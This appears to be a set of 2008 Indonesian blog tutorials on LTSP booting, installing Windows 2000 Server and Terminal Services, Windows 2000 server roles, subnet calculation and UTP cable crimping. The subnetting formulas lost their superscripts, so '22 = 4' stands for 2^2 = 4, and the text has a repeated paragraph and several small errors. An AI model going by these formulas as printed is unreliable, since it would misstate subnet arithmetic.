• Saat kernel melakukan mengkonfigurasikan perangkat jaringan (dengan mekanisme Etherboot, Preboot Execution Environment (PXE) atau NetBoot) client merequest IP Address dari LTSP Server melalui protokol DHCP (server). Kemudian memuat Linux kernel dari preconfigured Linux Image (misal net.nbi atau vmlinuz.0) menggunakan protokol TFTP (Trivial File Transfer Protokol) yang telah berjalan pada services LTSP Server. Kemudian server menentukan path dari linkungan untuk chroot setiap client. Ini dilakukan oleh protokol NFS (Network File System). Lalu client melakukan mounts (pengenalan dan penerapann) path dari root-nya itu.
• Pada saat komputer client melakukan booting dari loca device (harddisk, CD-ROM, USB, Floppy, Lancard) ia memuat kernel Linux serta melakukan inisasi terhadap peralatan di PC Client.
• Saat kernel melakukan mengkonfigurasikan perangkat jaringan (dengan mekanisme Etherboot, Preboot Execution Environment (PXE) atau NetBoot) client merequest IP Address dari LTSP Server melalui protokol DHCP (server). Kemudian memuat Linux kernel dari preconfigured Linux Image (misal net.nbi atau vmlinuz.0) menggunakan protokol TFTP (Trivial File Transfer Protokol) yang telah berjalan pada services LTSP Server. Kemudian server menentukan path dari linkungan untuk chroot setiap client. Ini dilakukan oleh protokol NFS (Network File System). Lalu client melakukan mounts (pengenalan dan penerapann) path dari root-nya itu.

Spesifikasi:

Untuk Server
• Pentium 3
• Ram 256
• Hardisk 8gb
Client
• Pentium 1
• Ram 64
• Dan jangan lupa kabel utp+swicth

Instalasi Windows 2000 Server , Remote Dekstop dan Terminal Server

2008-10-06T19:38:00.003+07:00

Instalasi Windows 2000 Server dan Remote Dekstop

1. Setting booting pertama pada cdrom.
2. Masukkan cd install Windows 2000 Server.
3. Kemudian tekan enter untuk install Windows 2000 Server.
4. Setelah itu buat partisi sesuai keinginan anda.
5. kemudian format partisi anda dengan NTFS file system.
6. Tunggu sampai prosess format hardisk.
7. Setelah itu komputer akan reboot secara otomatis.
8. Setelah itu komputer akan menginstall device secara otomatis.
9. Ikuti prosedur instalasi Windows 2000 Server.
10. Setelah proses instalasi berhasil.
11. Masuk ke control panel untuk menginstal remote dekstop.
12. Klik add/remove program.
13. Lalu pilih add/remove windows components.
14. Kemudian centang Terminal Services dan Terminal Services
Licensing, lalu klik next.
15. Tunggu proses instalasi sampai selesai.

INSTALASI TERMINAL SERVER

1. Klik start menu
2. Masuk menu Control Panel
3. Klik add/remove program
4. Lalu pilih add/remove windows components
5. Setelah itu muncul jendela windows Components wizard
6. Kemudian centang Terminal Services dan Terminal Services Licensing
7. Lalu klik next
8. Klik pada Aplication Server Mode
9. Klik next
10. Klik Remote Administration Mode
11. Klik next
12. Finish

Pembagian kelas-kelas server pada Win 2000 SERVER

2008-09-22T13:00:00.001+07:00

Berikut pembagian kelas-kelas server sesuai dengan karakteristek penggunaannya :

1. Windows 2000 Server yang melayani Domain Controller

* Windows 2000 Server Versi ini merupakan kelanjutan teknologi Windows NT Server 4.0 dengan berbagai fasilitas baru yang semakin memudahkan pengelolaan jaringan. Keluarga server Windows 2000 terdiri dari 3 jenis yaitu versi standar (Server), Advance Server, dan Data Center Server. Windows 2000 Server memiliki semua kemampuan yang ada pada versi Professional ditambah berbagai fasilitas inti yang dibutuhkan sebagai server jaringan. Versi ini dapat digunakan sebagai file dan print server, application server, web server, maupun communication server. Fasilitas penting yang dimiliki versi ini antara lain :

1. Dukungan untuk penggunaan 2 processor bila diinstal dengan mode clean install, atau 4 processor apabila instalasi dilakukan dengan mengupgrade Windows NT Server.
2. Active Directory Service untuk memudahkan pengelolaan sumberdaya dan obyek jaringan.
3. Sistem keamanan jaringan menggunakan Kerberos dan public key infrastructure
4. Internet Connection Sharing.
5. Web Server dengan menggunakan Internet Information Services versi 5.0.
6. Windows Terminal Services untuk memudahkan administrasi jaringan dan pemanfaatan hardware komputer lama sehingga dapat digunakan untuk berbagai aplikasi baru.
7. Dukungan penggunaan RAM hingga 4 GB

* Windows 2000 Advance Server memiliki kemampuan lebih tinggi dibandingkan versi standar, meliputi semua fasilitas Windows 2000 Server dengan beberapa tambahan feature penting :

1. Network Load Balancing untuk meningkatkan ketersediaan server serta meningkatkan kinerja.

2. Windows Clustering, memungkinkan komunikasi antar server untuk bekerja sama membentuk suatu cluster sebagai satu kesatuan sistem.

3. Dukungan Symetric Multi Processing (SMP) hingga 8 processor

4. Mendukung 8 GB RAM

* Windows 2000 Data Center Server Sistem ini memiliki seluruh kemampuan versi Advance dengan tambahan berbagai fasilitas :

1. SMP Scalability hingga 32 processor.

2. Mendukung physical memory sampai dengan 64 GB.

3. Fungsi clustering tingkat lanjut

Windows 2000 Data Center Server sangat sesuai digunakan sebagai sistem operasi server bisnis skala besar seperti : Internet Service Provider (ISP) dan Web Hosting, E-Commerce server dengan fasilitas Online Analytical Processing (OLTP)

2. Data warehousing dan server database skala besar

Server untuk kebutuhan riset, misalkan untuk berbagai analisis econometric. Sebuah server dapat menjalankan berbagai fungsi sesuai kebutuhan bisnis. Pada organisasi skala kecil fungsi – fungsi tersebut dapat digabungkan dalam satu server dan satu komputer. Untuk organisasi besar, sebaiknya setiap fungsi dijalankan pada server terpisah sesuai dengan beban kerjanya.

3. File Server

Fungsi ini merupakan penggunaan paling umum dari sebuah server, dimana server digunakan sebagai pusat penyimpanan file dalam sebuah jaringan. Dengan sistem ini sistem file akan lebih terintegrasi sehingga memudahkan manajemen dan pencarian file. Sistem back up dan penyimpanan file juga dapat dilakukan dengan lebih baik. Windows 2000 Server memiliki fasilitas Distributed File System untuk memudah kan pengelolaan file dalam jaringan. Dengan sistem ini pengguna jaringan dapat dengan mudah menggunakan dan menyimpan file tanpa perlu mengetahui letak sebenarnya dari suatu file.

4. Application Server

Apabila server digunakan untuk menyimpan dan menjalankan suatu program aplikasi, maka server tersebut bertindak sebagai application server. Aplikasi diinstal di server dan dijalankan atau diakses oleh klien. Dengan demikian aplikasi tidak perlu diinstal di klien sehingga memudahkan proses implementasi dan maintenance sistem. Windows Terminal Services merupakan fasilitas untuk memudahkan penggunaan Windows 2000 Server sebagai application server.

5. Web Server

Web Server merupakan komputer yang digunakan sebagai host berbagai aplikasi web baik dalam lingkungan internet maupun intranet. Internet Information Service 5.0 merupakan komponen Windows 2000 Server untuk memudahkan konfigurasi dan manajemen web site.

6. E-Mail Server

Windows 2000 Server dapat juga digunakan sebagai E-Mail server dengan menggunakan berbagai software tambahan antara lain Microsoft Exchange, Lotus Notes, maupun MDaemon. Fungsi E-Mail server dapat dianalogikan dengan kantor pos dalam sistem surat menyurat konvensional.

7. Member Server

Apabila Windows 2000 Server digunakan sebagai member server maka hanya dapat bertindak sebagai klien dalam jaringan dan tidak dapat menjalankan fungsi server untuk mengatur jaringan. Ketika Windows 2000 Server diinstal pertama kali, maka secara otomatis akan berfungsi sebagai member server. Untuk merubahnya sebagai domain controller digunakan perintah dcpromo dari command prompt 1.2.6. Domain Controller Domain Controller (DC) merupakan server yang berfungsi sebagai pengatur jaringan. Manajemen sumber daya dan obyek jaringan dilakukan dari DC, karena akses secara penuh terhadap Active Directory hanya dapat dilakukan dengan melakukan login ke DC. Apabila anda pernah mengelola jaringan berbasis Windows NT maka terdapat istilah Primary Domain Controller (PDC) dan Backup Domain Controller (BDC). Dalam sistem jaringan Windows 2000 dua istilah tersebut sudah tidak dikenal lagi. Setiap DC dalam jaringan adalah peer (setara) yang masing-masing dapat dikonfigurasi untuk melakukan replikasi obyek Active Directory, sehingga apabila salah satu DC tidak berfungsi maka dapat segera digantikan oleh DC yang lain. Sangat disarankan dalam suatu organisasi untuk memiliki minimal 2 DC sehingga menjamin fault tolerance.

INSTALLASI WINDOWS 2000 SERVER

2008-09-22T11:40:00.001+07:00

1. Setting BIOS dengan first booting pada CD ROM
2. Masukkan CD Install Windows 2000 Server
3. Akan muncul tampilan awal instalasi Windows 2000 Server
4. Pilih To set up Windows 2000 now, press ENTER. tekan Enter
5. Setelah muncul Windows 2000 Licensing Agreement. Tekan F8
6. Masuk ke partition disk
7. Hapus semua partisi
8. Buatlah partisi baru dengan mengikuti panduan yang ada

9. Setelah selesai, tekan Enter dan pilih Format the partition using the NTFS file system
10. Pilih To format the drive, press F
11. Tunggulah selama proses pem-formatan
12. Jika proses sudah selesai komputer akan secara otomatis melakukan booting ulang
13. Biarkan komputer anda booting ke harddisk
14. Setelah muncul kotak dialog, pilih next.
15. Tunggulah selama proses Installing device
16. Pada kotak dialog Regional Settings, klik next
17. Pilih beberapa komponen dengan memberi tanda centang, klik next
18. Pilih Typical settings, klik next
19. Tunggulah selama proses Instalasi komponen
20. Setelah selesai, klik Finish. Komputer akan me-restart
21. Setelah komputer sudah ter-install Windows 2000 Server, jalankan komputer
22. Masuk ke control panel
23. Pilih Add/Remove Programs
24. Pilih Add/Remove Windows Components
25. Pada menu Components, tandai Terminal Services dan Terminal Services Licensing. Klik next.
26. Pilih Remote administration mode. Klik next
27. Tunggulah selama komputer sedang proses. Klik Finish.

CARA PENGHITUNGAN SUBNETTING

2008-08-28T20:23:00.001+07:00

Penulisan IP address umumnya adalah dengan 192.168.1.2. Namun adakalanya ditulis dengan 192.168.1.2/24, apa ini artinya? Artinya bahwa IP address 192.168.1.2 dengan subnet mask 255.255.255.0. Lho kok bisa seperti itu? Ya, /24 diambil dari penghitungan bahwa 24 bit subnet mask diselubung dengan binari 1. Atau dengan kata lain, subnet masknya adalah: 11111111.11111111.11111111.00000000 (255.255.255.0). Konsep ini yang disebut dengan CIDR (Classless Inter-Domain Routing) yang diperkenalkan pertama kali tahun 1992 oleh IEFT.

Pertanyaan berikutnya adalah Subnet Mask berapa saja yang bisa digunakan untuk melakukan subnetting? Ini terjawab dengan tabel di bawah:

Subnet Mask Nilai CIDR
255.128.0.0 /9
255.192.0.0 /10
255.224.0.0 /11
255.240.0.0 /12
255.248.0.0 /13
255.252.0.0 /14
255.254.0.0 /15
255.255.0.0 /16
255.255.128.0 /17
255.255.192.0 /18
255.255.224.0 /19

Subnet Mask Nilai CIDR
255.255.240.0 /20
255.255.248.0 /21
255.255.252.0 /22
255.255.254.0 /23
255.255.255.0 /24
255.255.255.128 /25
255.255.255.192 /26
255.255.255.224 /27
255.255.255.240 /28
255.255.255.248 /29
255.255.255.252 /30

SUBNETTING PADA IP ADDRESS CLASS C

Ok, sekarang mari langsung latihan saja. Subnetting seperti apa yang terjadi dengan sebuah NETWORK ADDRESS 192.168.1.0/26 ?

Analisa: 192.168.1.0 berarti kelas C dengan Subnet Mask /26 berarti 11111111.11111111.11111111.11000000 (255.255.255.192).

Penghitungan: Seperti sudah saya sebutkan sebelumnya semua pertanyaan tentang subnetting akan berpusat di 4 hal, jumlah subnet, jumlah host per subnet, blok subnet, alamat host dan broadcast yang valid. Jadi kita selesaikan dengan urutan seperti itu:
Jumlah Subnet = 2x, dimana x adalah banyaknya binari 1 pada oktet terakhir subnet mask (2 oktet terakhir untuk kelas B, dan 3 oktet terakhir untuk kelas A). Jadi Jumlah Subnet adalah 22 = 4 subnet
Jumlah Host per Subnet = 2y - 2, dimana y adalah adalah kebalikan dari x yaitu banyaknya binari 0 pada oktet terakhir subnet. Jadi jumlah host per subnet adalah 26 - 2 = 62 host
Blok Subnet = 256 - 192 (nilai oktet terakhir subnet mask) = 64. Subnet berikutnya adalah 64 + 64 = 128, dan 128+64=192. Jadi subnet lengkapnya adalah 0, 64, 128, 192.
Bagaimana dengan alamat host dan broadcast yang valid? Kita langsung buat tabelnya. Sebagai catatan, host pertama adalah 1 angka setelah subnet, dan broadcast adalah 1 angka sebelum subnet berikutnya.

Subnet 192.168.1.0 192.168.1.64 192.168.1.128 192.168.1.192
Host Pertama 192.168.1.1 192.168.1.65 192.168.1.129 192.168.1.193
Host Terakhir 192.168.1.62 192.168.1.126 192.168.1.190 192.168.1.254
Broadcast 192.168.1.63 192.168.1.127 192.168.1.191 192.168.1.255

Kita sudah selesaikan subnetting untuk IP address Class C. Dan kita bisa melanjutkan lagi untuk subnet mask yang lain, dengan konsep dan teknik yang sama. Subnet mask yang bisa digunakan untuk subnetting class C adalah seperti di bawah. Silakan anda coba menghitung seperti cara diatas untuk subnetmask lainnya.

Subnet Mask Nilai CIDR
255.255.255.128 /25
255.255.255.192 /26
255.255.255.224 /27
255.255.255.240 /28
255.255.255.248 /29
255.255.255.252 /30

SUBNETTING PADA IP ADDRESS CLASS B

Berikutnya kita akan mencoba melakukan subnetting untuk IP address class B. Pertama, subnet mask yang bisa digunakan untuk subnetting class B adalah seperti dibawah. Sengaja saya pisahkan jadi dua, blok sebelah kiri dan kanan karena masing-masing berbeda teknik terutama untuk oktet yang “dimainkan” berdasarkan blok subnetnya. CIDR /17 sampai /24 caranya sama persis dengan subnetting Class C, hanya blok subnetnya kita masukkan langsung ke oktet ketiga, bukan seperti Class C yang “dimainkan” di oktet keempat. Sedangkan CIDR /25 sampai /30 (kelipatan) blok subnet kita “mainkan” di oktet keempat, tapi setelah selesai oktet ketiga berjalan maju (coeunter) dari 0, 1, 2, 3, dst.

Subnet Mask Nilai CIDR
255.255.128.0 /17
255.255.192.0 /18
255.255.224.0 /19
255.255.240.0 /20
255.255.248.0 /21
255.255.252.0 /22
255.255.254.0 /23
255.255.255.0 /24

Subnet Mask Nilai CIDR
255.255.255.128 /25
255.255.255.192 /26
255.255.255.224 /27
255.255.255.240 /28
255.255.255.248 /29
255.255.255.252 /30

Ok, kita coba dua soal untuk kedua teknik subnetting untuk Class B. Kita mulai dari yang menggunakan subnetmask dengan CIDR /17 sampai /24. Contoh network address 172.16.0.0/18.

Analisa: 172.16.0.0 berarti kelas B, dengan Subnet Mask /18 berarti 11111111.11111111.11000000.00000000 (255.255.192.0).

Penghitungan:
Jumlah Subnet = 2x, dimana x adalah banyaknya binari 1 pada 2 oktet terakhir. Jadi Jumlah Subnet adalah 22 = 4 subnet
Jumlah Host per Subnet = 2y - 2, dimana y adalah adalah kebalikan dari x yaitu banyaknya binari 0 pada 2 oktet terakhir. Jadi jumlah host per subnet adalah 214 - 2 = 16.382 host
Blok Subnet = 256 - 192 = 64. Subnet berikutnya adalah 64 + 64 = 128, dan 128+64=192. Jadi subnet lengkapnya adalah 0, 64, 128, 192.
Alamat host dan broadcast yang valid?

Subnet :
172.16.0.0 172.16.64.0 172.16.128.0 172.16.192.0

Host Pertama:
172.16.0.1 172.16.64.1 172.16.128.1 172.16.192.1

Host Terakhir:
172.16.63.254 172.16.127.254 172.16.191.254 172.16.255.254

Broadcast:
172.16.63.255 172.16.127.255 172.16.191.255 172.16..255.255

Berikutnya kita coba satu lagi untuk Class B khususnya untuk yang menggunakan subnetmask CIDR /25 sampai /30. Contoh network address 172.16.0.0/25.

Analisa: 172.16.0.0 berarti kelas B, dengan Subnet Mask /25 berarti 11111111.11111111.11111111.10000000 (255.255.255.128).

Penghitungan:
Jumlah Subnet = 29 = 512 subnet
Jumlah Host per Subnet = 27 - 2 = 126 host
Blok Subnet = 256 - 128 = 128. Jadi lengkapnya adalah (0, 128)
Alamat host dan broadcast yang valid?

Subnet 172.16.0.0 172.16.0.128 172.16.1.0 … 172.16.255.128
Host Pertama 172.16.0.1 172.16.0.129 172.16.1.1 … 172.16.255.129
Host Terakhir 172.16.0.126 172.16.0.254 172.16.1.126 … 172.16.255.254
Broadcast 172.16.0.127 172.16.0.255 172.16.1.127 … 172.16.255.255

SUBNETTING PADA IP ADDRESS CLASS A

Kalau sudah mantab dan paham, kita lanjut ke Class A. Konsepnya semua sama saja. Perbedaannya adalah di OKTET mana kita mainkan blok subnet. Kalau Class C di oktet ke 4 (terakhir), kelas B di Oktet 3 dan 4 (2 oktet terakhir), kalau Class A di oktet 2, 3 dan 4 (3 oktet terakhir). Kemudian subnet mask yang bisa digunakan untuk subnetting class A adalah semua subnet mask dari CIDR /8 sampai /30.

Kita coba latihan untuk network address 10.0.0.0/16.

Analisa: 10.0.0.0 berarti kelas A, dengan Subnet Mask /16 berarti 11111111.11111111.00000000.00000000 (255.255.0.0).

Penghitungan:
Jumlah Subnet = 28 = 256 subnet
Jumlah Host per Subnet = 216 - 2 = 65534 host
Blok Subnet = 256 - 255 = 1. Jadi subnet lengkapnya: 0,1,2,3,4, etc.
Alamat host dan broadcast yang valid?

Subnet :
10.0.0.0 10.1.0.0 … 10.254.0.0 10.255.0.0
Host Pertama:
10.0.0.1 10.1.0.1 … 10.254.0.1 10.255.0.1
Host Terakhir:
10.0.255.254 10.1.255.254 … 10.254.255.254 10.255.255.254
Broadcast:
10.0.255.255 10.1.255.255 … 10.254.255.255 10.255.255.255

Mudah-mudahan sudah setelah anda membaca paragraf terakhir ini, anda sudah memahami penghitungan subnetting dengan baik. Kalaupun belum paham juga, anda ulangi terus artikel ini pelan-pelan dari atas. Untuk teknik hapalan subnetting yang lebih cepat, tunggu di artikel berikutnya

Catatan: Semua penghitungan subnet diatas berasumsikan bahwa IP Subnet-Zeroes (dan IP Subnet-Ones) dihitung secara default. Buku versi terbaru Todd Lamle dan juga CCNA setelah 2005 sudah mengakomodasi masalah IP Subnet-Zeroes (dan IP Subnet-Ones) ini. CCNA pre-2005 tidak memasukkannya secara default (meskipun di kenyataan kita bisa mengaktifkannya dengan command ip subnet-zeroes), sehingga mungkin dalam beberapa buku tentang CCNA serta soal-soal test CNAP, anda masih menemukan rumus penghitungan Jumlah Subnet = 2x - 2

Tahap berikutnya adalah silakan download dan kerjakan soal latihan subnetting. Jangan lupa mengikuti artikel tentang Teknik Mengerjakan Soal Subnetting untuk memperkuat pemahaman anda dan meningkatkan kemampuan dalam mengerjakan soal dalam waktu terbatas.

Tipe Pengkabelan Pada LAN ( Cross Dan Straight )

2008-08-09T14:19:00.001+07:00

Untuk menghubungkan komputer - komputer tersebut ada 2 tipe konfigurasi kabel yang
digunakan, yaitu tipe straight dan tipe cross.

TP (Unshielded Twisted Pair) adalah jenis kabel yang terdiri dari dua kawat tak
terbungkus yang berpilih. Kabel UTP banyak digunakan pada local-area networks
(LANs) dan sambungan telepon karena harganya lebih murah. Kabel UTP tidak
sebaik kabel koaksial dan serat optik dalam hal penyediaan banwidth dan
ketahanan terhadap interferensi. UTP, singkatan dari “Unshielded Twisted Pair”.
Disebut unshielded karena kurang tahan terhadap interferensi elektromagnetik.
Dan disebut twisted pair karena di dalamnya terdapat pasangan kabel yang
disusun spiral alias saling berlilitan. Ada 5 kategori kabel UTP. Dari kategori 1
sampai kategori 5. Untuk jaringan komputer yang terkenal adalah kategori 3 dan

kategori 5.

Tutorial singkat ini cocok sekali buat Anda yang sedang membuat jaringan komputer ‘MURAH’ khususnya yang terdiri lebih dari dua client yang pake hub (jauh lebih murah daripada router ). To the point! Apa sih kabel UTP itu? Kabel UTP itu adalah kabel khusus buat transmisi data. UTP, singkatan dari “Unshielded Twisted Pair”. Disebut unshielded karena kurang tahan terhadap interferensi elektromagnetik. Dan disebut twisted pair karena di dalamnya terdapat pasangan kabel yang disusun spiral alias saling berlilitan. Ada 5 kategori kabel UTP. Dari kategori 1 sampai kategori 5. Untuk jaringan komputer yang terkenal adalah kategori 3 dan kategori 5.

Kategori 3 bisa untuk transmisi data sampai 10 mbps, sedang kategori 5 sampai 100 mbps. Kalau hanya buat misalnya jaringan komputer di kantor atau kampus atau warnet, paling hemat ya menggunakan yang kategori 3. Itu sudah lebih dari cukup.Setahu penulis ada banyak merek yang beredar di pasaran, hanya saja yang terkenal bandel dan relatif murah adalah merek Belden - made in USA. Kalau mau yang lebih murah dan penggunaannya banyak, maka beli saja yang satu kotak, panjangnya sekitar 150 meter. Jangan lupa beli konektornya. Konektornya bentuknya seperti colokan telepon hanya saja lebih besar. Bilang saja mau beli konektor RJ-45.

Satu lagi yang sangat penting, Anda harus punya tang khusus buat memasang konektor ke kabel UTP, istilah kerennya adalah “crimp tool”. Alat ini gunanya untuk ‘mematikan’ atau ‘menanam’ konektor ke kabel UTP. Jadi sekali sudah di ‘tang’, maka sudah tidak bisa dicopot lagi konektornya. Dan kalau mau yang lebih OK, biar tidak nanggung maka beli pula sebuah LAN tester. Anda bisa membeli yang merek dari Taiwan saja agar lebih murah. Bentuknya seperti kotak dan ada lampu LED-nya delapan pasang dan bisa kedap-kedip.

OK sekarang peralatan udah siap, penulis mulai saja. Secara umum, pemasangan kabel UTP tersebut ada dua tipe, yaitu tipe straight dan tipe cross. Disebut tipe straight soalnya masing-masing kabel yang jumlahnya 8 itu berkorespondensi 1-1, langsung. Sedangkan disebut cross soalnya ada persilangan pada susunan kabelnya. Bingung?OK! Untuk tipe straight itu digunakan untuk menyambungkan kabel dari client ke hub. Sedangkan untuk tipe cross adalah untuk client langsung terhubung ke client (cpu to cpu) atau juga dari hub ke hub.

Kita bahas dulu yang tipe straight

Tipe ini adalah yang paling gampang dibuat. Kenapa? Soalnya langsung korespondensinya 1-1. Standar urutannya begini (dilihat dari lubang konektor, dari kiri ke kanan - lihat Gambar 4) : 2 oranye - 1 hijau - 2 biru - 1 hijau - 2 coklat . 2 oranye disini maksudnya pasangan oranye muda sama oranye tua dan seterusnya. Tapi tidak usah ikut standar pewarnaan itu juga sebenarnya tidak masalah. Yang penting urutan kabelnya. Misal ujung pertama urutan pin pertamanya oranye muda, maka ujung yang lain urutan pin pertamanya juga harus oranye muda, jadi antar ujung saling nyambung. Sebenarnya tidak semua pin tersebut digunakan.

Yang penting adalah pin nomor 1,2,3 dan 6. Jadi misal yang disambung hanya pin 1,2,3 dan 6 sedangkan pin yang lain tidak dipasang, tidak jadi masalah. Untuk lebih jelasnya silakan lihat gambar di bawah yang penulis foto dari sebuah buku.

Waktu akan memasangnya, maka potong ujung kabelnya, kemudian susun kabelnya trus diratakan dengan pisau potong yang ada pada crimp tool. Andak tidak perlu repot harus melepaskan isolasi pada bagian ujung kabel, karena waktu Anda memasukan kabel itu ke konektor lalu ditekan (pressed) dengan menggunakan crimp tool, sebenarnya saat itu pin yang ada di konektor menembus sampai ke dalam kabel. Perhatikan, agar penekannya (pressing) yang keras, soalnya kalau tidak keras kadang pin tersebut tidak tembus ke dalam isolasi kabelnya. Kalau sudah kemudian Anda test menggunakan LAN tester. Masukkan ujung ujung kabel ke alatnya, kemudian nyalakan, kalau lampu led yang pada LAN tester menyala semua, dari nomor 1 sampai 8 berarti Anda telah sukses. Kalau ada salah satu yang tidak menyala berarti kemungkinan pada pin nomor tersebut ada masalah. Cara paling mudah yaitu Anda tekan (press) lagi menggunakan tang. Kemungkinan pinnya belum tembus. Kalau sudah Anda tekan tetapi masih tidak nyambung, maka coba periksa korespondensinya antar pin udah 1-1 atau belum. Kalau ternyata sudah benar dan masih gagal, berarti memang Anda belum beruntung. Ulangi lagi sampai berhasil.

LAN TESTER - alat untuk memeriksa benar tidaknya sambungan kabel. Untuk tipe straight jika benar maka led 1 sampai 8 berkedip.

Berikut adalah gambar dari bawah dari ujung kabel UTP yang sudah dipasangi konektor dan berhasil dengan baik (urutan pewarnaan pinnya ikut standar):

Dan kalau yang ini tidak standar, coba perhatikan urutan warna pinnya, sangat tidak standar, tapi tetap saja bisa, yang penting korespondensinya satu satu (khusus tipe straight):

Tipe Cross

Untuk tipe cross itu digunakan untuk menyambungkan langsung antar dua PC, atau yang umumnya digunakan untuk menyambungkan antar hub. (misalnya karena colokan di hubnya kurang). Cara pemasangannya juga sebenarnya mudah, sama seperti tipe straight, pin yang digunakan juga sebenarnya hanya 4 pin saja, yaitu pin 1, 2, 3 dan 6. Yang berbeda adalah cara pasangnya. Kalau pada tipe cross, pin 1 disambungkan ke pin 3 ujung yang lain, pin 2 ke 6, pin 3 ke 1 dan pin 6 ke 2. Praktisnya begini, pada ujung pertama Anda bisa susun pinnya sesuai standar untuk yang tipe “straight”, sementara itu di ujung yang lain Anda susun pinnya sesuai standar buat tipe “cross”.Masih bingung? Begini cara mudahnya:Ujung pertama:

1. oranye muda
2. oranye tua
3. hijau muda
4. biru muda
5. biru tua
6. hijau tua
7. coklat muda
8. coklat tua

Maka di ujung yang lain harus dibuat begini:
1. hijau muda
2. hijau tua
3. orange muda
4. biru muda
5. biru tua
6. orange tua
7. coklat muda
8. coklat tua

Urutan warna Diatas bisa saja berubah sesuai keinginan kita tetapi urutan pengkabelan haurs sama, pada intinya saya berpatokan pada cross cable 1-3 dan 2-6 artinya line ke 1 menjadi ke 3 pada ujungnya dan sebaliknya line ke 2 di awal dan ke 6 diakhir. Mungkin ini akhir pembahasan sederhan pengkabelan antara type cross dan straight.

Sudah agak lebih mengerti? Jadi disini posisi nomor 1, 2, 3 dan 6 yang ditukar. Nanti jika dites menggunakan LAN tester, maka nantinya led 1, 2, 3 dan 6 akan saling bertukar. Kalau tipe straight menyalanya urutan, sedangkan tipe cross ada yang lompat-lompat. Tapi yang pasti harus menyalasemua setiap led dari nomor 1 sampai 8.OK, selamat membangun jaringan komputer. Semoga Anda bisa berhasil sewaktu memasang konektor pada kabelnya. Semoga ilmu ini berguna buat Anda, soalnya waktu dulu penulis pertama kali membuat jaringan hasilnya lucu sekali, untuk mengupas kabelnya penulis masih menggunakan cutter, padahal sudah ada fasilitasnya di crimp toolnya. Tambah lagi ujung-ujungnya tiap kabel penulis kelupas lagi menggunakan cutter, padahal yang betul tidak perlu dikupas satu-satu, biarkan saja rata, karena nantinya apabila di ‘crimp tool’ maka pin tersebut masing-masing akan tembus ke dalam kabelnya. Semoga Anda tidak melakukan hal sama seperti penulis dulu.Demikian tulisan mengenai cara membuat sambungan kabel UTP untuk jaringan komputer. Semoga berguna bagi Anda semua. Terima kasih.

>